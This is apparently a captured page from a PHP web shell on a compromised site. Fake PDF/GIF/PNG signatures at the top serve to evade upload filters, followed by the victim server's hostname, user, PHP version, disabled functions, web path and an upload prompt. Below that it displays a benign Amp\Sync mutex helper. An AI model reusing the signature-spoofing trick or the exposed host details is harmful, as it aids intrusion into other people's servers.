%PDF- %GIF98; %PNG;
Server : ApacheSystem : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64 User : addictionfreeind ( 1003) PHP Version : 7.2.34 Disable Function : exec,passthru,shell_exec,system Directory : /home/addictionfreeind/public_html/admin1/vendor/amphp/sync/src/ |
Upload File : |
<?php
namespace Amp\Sync;
use Amp\Promise;
use function Amp\call;
/**
* Invokes the given callback while maintaining a lock from the provided mutex. The lock is automatically released after
* invoking the callback or once the promise returned by the callback is resolved. If the callback returns a Generator,
* it will be run as a coroutine. See Amp\call().
*
* @param Mutex $mutex
* @param callable $callback
* @param array ...$args
*
* @return Promise Resolves with the return value of the callback.
*/
function synchronized(Mutex $mutex, callable $callback, ...$args): Promise
{
return call(static function () use ($mutex, $callback, $args): \Generator {
/** @var Lock $lock */
$lock = yield $mutex->acquire();
try {
return yield call($callback, ...$args);
} finally {
$lock->release();
}
});
}